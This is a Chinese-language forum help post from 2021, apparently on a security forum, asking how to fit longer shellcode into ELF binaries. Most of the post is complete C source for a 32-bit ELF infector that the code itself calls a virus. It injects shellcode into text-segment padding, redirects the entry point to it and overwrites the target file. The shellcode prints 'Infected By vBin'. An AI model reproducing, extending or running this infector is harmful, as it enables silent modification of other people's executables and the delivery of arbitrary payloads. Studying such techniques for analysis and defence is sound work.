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未解决 [求助]_ShellCode太长就会失败 谁有更好的方法
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发表于: 2021-2-7 21:41 2782
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网上找个ELF插入Code，他这个方法就是俩个LOAD中间填充方法
，但是g_ShellCode太长就会失败 谁有更好的方法，不破坏其他段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 | #include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <unistd.h>#include <elf.h>#define _ERROR_NULL(nRetCode) if (!nRetCode) goto Exit0;#define _ERROR_OPEN(nRetCode) if (nRetCode < 0) goto Exit0;#define _ERROR_SEEK(nRetCode) if (nRetCode < 0) goto Exit0;#define _ERROR_WRITE(nRetCode) if (nRetCode < 0) goto Exit0;#define _ERROR_CHMOD(nRetCode) if (nRetCode < 0) goto Exit0;#define _ERROR_CHOWN(nRetCode) if (nRetCode < 0) goto Exit0;#define _ERROR_RENAME(nRetCode) if (nRetCode < 0) goto Exit0;#define _ERROR_READ(nRetCode, nSize) if (nRetCode != nSize) goto Exit0;#define _PRINT_EXIT(pszMsg) printf("%s \n", pszMsg); goto Exit0;#define PAGE_SIZE 4096char g_ShellCode[] = "\x0\x0\x0\x0" "\x50" // push eax "\x53" // push ebx "\x51" // push ecx "\x52" // push edx "\xE8\x0\x0\x0\x0" // call $+5 "\x59" // pop ecx "\x81\xC1\x1A\x0\x0\x0" // add ecx, 1Ah "\xB8\x04\x0\x0\x0" // mov eax, 4 "\xBB\x2\x0\x0\x0" // mov ebx, 2 "\xBA\x12\x0\x0\x0" // mov edx, 12h "\xCD\x80" // int 80h "\xEB\x13" // jmp leave "\x49\x6E\x66\x65\x63\x74\x65\x64\x20" // [Infected ] "\x42\x79\x20\x76\x42\x69\x6E\x0A\x00" // [By vBin\n\0] "\x0" // align // leave: "\x5A" // pop edx "\x59" // pop ecx "\x5B" // pop ebx "\x58" // pop eax "\xB8\x0\x0\x0\x0" // mov eax, 0 "\xFF\xE0" // jmp eax "\xB8\x1\x0\x0\x0" // mov eax, 1 [Reserved For Debug] "\xBB\x0\x0\x0\x0" // mov ebx, 0 [Reserved For Debug] "\xCD\x80" // int 80h [Reserved For Debug];int g_nVirusSize = sizeof(g_ShellCode);long g_nVirusEntry = 4; // offset of virus code in 'g_ShellCode'long g_nVirusOffsetOfSRCEntry = 63; // record host entry// copy nDataSize bytes from FILE nFromHandle to FILE nToHandle.// note: file pointer can be changed with lseek, so they needn't point to file start.int CopyFileData(int nFromHandle, int nToHandle, unsigned int nDataSize){ int nResult = 0; int nRetCode = 0; char szData[PAGE_SIZE]; unsigned int nWritedSize = 0; while (nWritedSize + PAGE_SIZE < nDataSize) { nRetCode = read(nFromHandle, szData, PAGE_SIZE); _ERROR_READ(nRetCode, PAGE_SIZE); nRetCode = write(nToHandle, szData, PAGE_SIZE); _ERROR_WRITE(nRetCode); nWritedSize += PAGE_SIZE; } // copy the remain SIZE of nDataSize modulod by PAGE_SIZE nRetCode = read(nFromHandle, szData, nDataSize - nWritedSize); _ERROR_READ(nRetCode, nDataSize - nWritedSize); nRetCode = write(nToHandle, szData, nDataSize - nWritedSize); _ERROR_WRITE(nRetCode); nResult = 1;Exit0: return nResult;}/* Return true if current file is a expect ELF file. */int check_elf_header(Elf32_Ehdr const Ehdr){ int nResult = 0; int nRetCode = 0; nRetCode = strncmp(Ehdr.e_ident, ELFMAG, SELFMAG); if (0 != nRetCode) { _PRINT_EXIT ("Not Elf File!"); } if (Ehdr.e_ident[EI_CLASS] != ELFCLASS32) { _PRINT_EXIT ("Not 32bit File!"); } if (Ehdr.e_ident[EI_DATA] != ELFDATA2LSB) { _PRINT_EXIT ("Not LSB!"); } if ((Ehdr.e_type != ET_EXEC) && (Ehdr.e_type != ET_DYN)) { _PRINT_EXIT ("Not Execute File!"); } if (Ehdr.e_machine != EM_386) { _PRINT_EXIT ("Machine Not 386!"); } if (Ehdr.e_version != EV_CURRENT) { _PRINT_EXIT ("Version Error!"); } nResult = 1;Exit0: return nResult;}int infect(char *pszFileName){ int nResult = 0; int nRetCode = 0; Elf32_Shdr *pShdr = NULL; Elf32_Phdr *pPhdr = NULL; Elf32_Ehdr Ehdr; int nFileHandle = -1; int nTmpHandle = -1; char szTmpName[] = "infect.tmp"; char szData[PAGE_SIZE] = { 0 }; char *pchData = NULL; char *pchSData = NULL; int i = 0; int nPLen = 0; int nSLen = 0; int nOffset = 0; int nEVaddr = 0; int nOldShoff = 0; int nTmpFilePos = 0; int nPaddingSize = 0; struct stat FileStat; nFileHandle = open(pszFileName, O_RDONLY); _ERROR_OPEN(nFileHandle); nRetCode = lseek(nFileHandle, 0, SEEK_SET); /* 把文件指针指向文件的开头. */ _ERROR_SEEK(nRetCode); nRetCode = read(nFileHandle, &Ehdr, sizeof(Ehdr)); /* 获取文件头信息*/ _ERROR_READ(nRetCode, sizeof(Ehdr)); if (!check_elf_header (Ehdr)) { _PRINT_EXIT("Not a expect Elf File!"); } printf ("Ehdr.e_entry=%p\n", Ehdr.e_entry); *(int *)&g_ShellCode[g_nVirusOffsetOfSRCEntry] = Ehdr.e_entry; nPLen = sizeof(Elf32_Phdr) * Ehdr.e_phnum; // 程序头表条目数 pchData = (char *)malloc(nPLen); _ERROR_NULL(pchData); nRetCode = lseek(nFileHandle, Ehdr.e_phoff, SEEK_SET); // 程序头表偏移量 _ERROR_SEEK(nRetCode); nRetCode = read(nFileHandle, pchData, nPLen); // 从程序头表开始读取所有的程序头表 _ERROR_READ(nRetCode, nPLen); /* * update the phdr's to reflect the extention of the text segment (to * allow virus insertion) */ nOffset = 0; for (pPhdr = (Elf32_Phdr *)pchData, i = 0; i < Ehdr.e_phnum; i++) { if (nOffset) { /* 位于插入点后的各代码段偏移加一页大小 */ /* 不规则排列 */ printf ("pPhdr->p_offset=%x\n", pPhdr->p_offset); pPhdr->p_offset += PAGE_SIZE; } else if (PT_LOAD == pPhdr->p_type && 0 == pPhdr->p_offset) /* 可加载段(代码及数据段)*/ { /* 可加载段，并非说此时p_offset必须是0，但通常是的 */ int palen; /* 内存大小和文件大小不一致，说明存在.bss段 */ if (pPhdr->p_filesz != pPhdr->p_memsz) { /* 如果存在.bss, 直接在pPhdr->p_vaddr + pPhdr->p_filesz后填充可能被覆盖， 导致插入部分物理插入无效。那为什么不插入到pPhdr->p_vaddr + pPhdr->p_memsz后? 不插入pPhdr->p_vaddr + pPhdr->p_memsz显然静态文件不存在.bss区间 */ _PRINT_EXIT("pPhdr->p_filesz != pPhdr->p_memsz"); } /* 新的程序入口点 entry point，也是原代码段尾部填充区位置 */ nEVaddr = pPhdr->p_vaddr + pPhdr->p_filesz; printf ("nEVaddr(new entry)=%p\n", nEVaddr); /* 原代码段尾部填充大小，段以PAGE_SIZE为单位进行对齐 */ nPaddingSize = PAGE_SIZE - (nEVaddr & (PAGE_SIZE - 1)); /* 检查插入代码是否超过填充区大小 */ printf ("g_nVirusSize=%x, nPaddingSize=%x\n", g_nVirusSize, nPaddingSize); if (g_nVirusSize >= nPaddingSize) { //_PRINT_EXIT("Virus too large!"); continue; } printf ("nEVaddr=%p, g_nVirusEntry=%x\n", nEVaddr, g_nVirusEntry); Ehdr.e_entry = nEVaddr + g_nVirusEntry; /* 既然phdr->p_offset为零，这里还有必要这样编码吗？*/ /* 在文件中物理地插入寄生代码到这个位置*/ nOffset = pPhdr->p_offset + pPhdr->p_filesz; // Virus offset in file pPhdr->p_filesz += g_nVirusSize; pPhdr->p_memsz += g_nVirusSize; } /* 依次遍历每个程序头表(程序段)*/ ++pPhdr; } printf ("nOffset=%x\n", nOffset); if (0 == nOffset) { _PRINT_EXIT("No LOAD Segment!"); } nSLen = sizeof(Elf32_Shdr) * Ehdr.e_shnum; pchSData = (char *)malloc(nSLen); _ERROR_NULL(pchSData); nRetCode = lseek(nFileHandle, Ehdr.e_shoff, SEEK_SET); _ERROR_SEEK(nRetCode); nRetCode = read(nFileHandle, pchSData, nSLen); _ERROR_READ(nRetCode, nSLen); /* update the shdr's to reflect the insertion of the parasite */ for (pShdr = (Elf32_Shdr *)pchSData, i = 0; i < Ehdr.e_shnum; i++) { /* 位于插入点后的各节区偏移也增加一页 */ if (pShdr->sh_offset >= nOffset) { printf ("pShdr->sh_offset=%x\n", pShdr->sh_offset); /* 基本上从小到大升序排列 */ pShdr->sh_offset += PAGE_SIZE; } /* 被插入代码所在节区 */ else if (nEVaddr == (pShdr->sh_addr + pShdr->sh_size)) { /* if its not strip safe then we cant use it */ /* 被strip过的ELF文件也并非就不存在SHT_PROGBITS段， *.text节区也可以有该属性，并且默认strip只去掉 去除.symbol节的内容以及.debug节的内容 */ printf ("i=%d, pShdr->sh_type=%x\n", i, pShdr->sh_type); if (pShdr->sh_type != SHT_PROGBITS ) { printf ("exit: pShdr->sh_type != SHT_PROGBITS\n"); _PRINT_EXIT("stat error!\n"); } pShdr->sh_size += g_nVirusSize; } /* 依次遍历每个节区 */ pShdr++; } /* update ehdr to reflect new offsets */ nOldShoff = Ehdr.e_shoff; if (Ehdr.e_shoff >= nOffset) { Ehdr.e_shoff += PAGE_SIZE; } nRetCode = fstat(nFileHandle, &FileStat); if (nRetCode < 0) { _PRINT_EXIT("stat error!\n"); } nTmpHandle = open(szTmpName, O_WRONLY | O_CREAT | O_TRUNC, FileStat.st_mode); _ERROR_OPEN(nTmpHandle); nRetCode = lseek(nFileHandle, 0, SEEK_SET); _ERROR_SEEK(nFileHandle); nRetCode = write(nTmpHandle, &Ehdr, sizeof(Elf32_Ehdr)); _ERROR_WRITE(nRetCode); nRetCode = write(nTmpHandle, pchData, nPLen); _ERROR_WRITE(nRetCode); nTmpFilePos = sizeof(Elf32_Ehdr) + nPLen; nRetCode = lseek(nFileHandle, nTmpFilePos, SEEK_SET); _ERROR_SEEK(nRetCode); if (nOffset < nTmpFilePos) { _PRINT_EXIT("fatal error!"); } nRetCode = CopyFileData(nFileHandle, nTmpHandle, nOffset - nTmpFilePos); _ERROR_NULL(nRetCode); nRetCode = write(nTmpHandle, g_ShellCode, g_nVirusSize); _ERROR_WRITE(nRetCode); memset(szData, PAGE_SIZE - g_nVirusSize, 0); nRetCode = write(nTmpHandle, szData, PAGE_SIZE - g_nVirusSize); _ERROR_WRITE(nRetCode); nRetCode = CopyFileData(nFileHandle, nTmpHandle, nOldShoff - nOffset); _ERROR_NULL(nRetCode); nRetCode = write(nTmpHandle, pchSData, nSLen); _ERROR_WRITE(nRetCode); nTmpFilePos = nOldShoff + nSLen; nRetCode = lseek(nFileHandle, nTmpFilePos, SEEK_SET); _ERROR_SEEK(nRetCode); nRetCode = CopyFileData( nFileHandle, nTmpHandle, FileStat.st_size - nTmpFilePos ); _ERROR_NULL(nRetCode); nRetCode = rename(szTmpName, pszFileName); _ERROR_RENAME(nRetCode); nRetCode = fchmod(nTmpHandle, FileStat.st_mode); _ERROR_CHMOD(nRetCode); nRetCode = fchown(nTmpHandle, FileStat.st_uid, FileStat.st_gid); _ERROR_CHOWN(nRetCode); printf("Infect Success!\n"); nResult = 1;Exit0: if (nFileHandle >= 0) { close(nFileHandle); nFileHandle = -1; } if (nTmpHandle >= 0) { close(nTmpHandle); nTmpHandle = -1; } if (pchData) { free(pchData); pchData = NULL; } if (pchSData) { free(pchSData); pchSData = NULL; } return nResult;}int main(int argc, char **argv){ int nRetCode = 0; if (argc != 2) { _PRINT_EXIT("usage: demo <filename>"); } nRetCode = infect(argv[1]); if (nRetCode != 1) { _PRINT_EXIT("infect failed"); goto Exit0; }Exit0: return 0;} |
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最后于 2021-2-7 21:44
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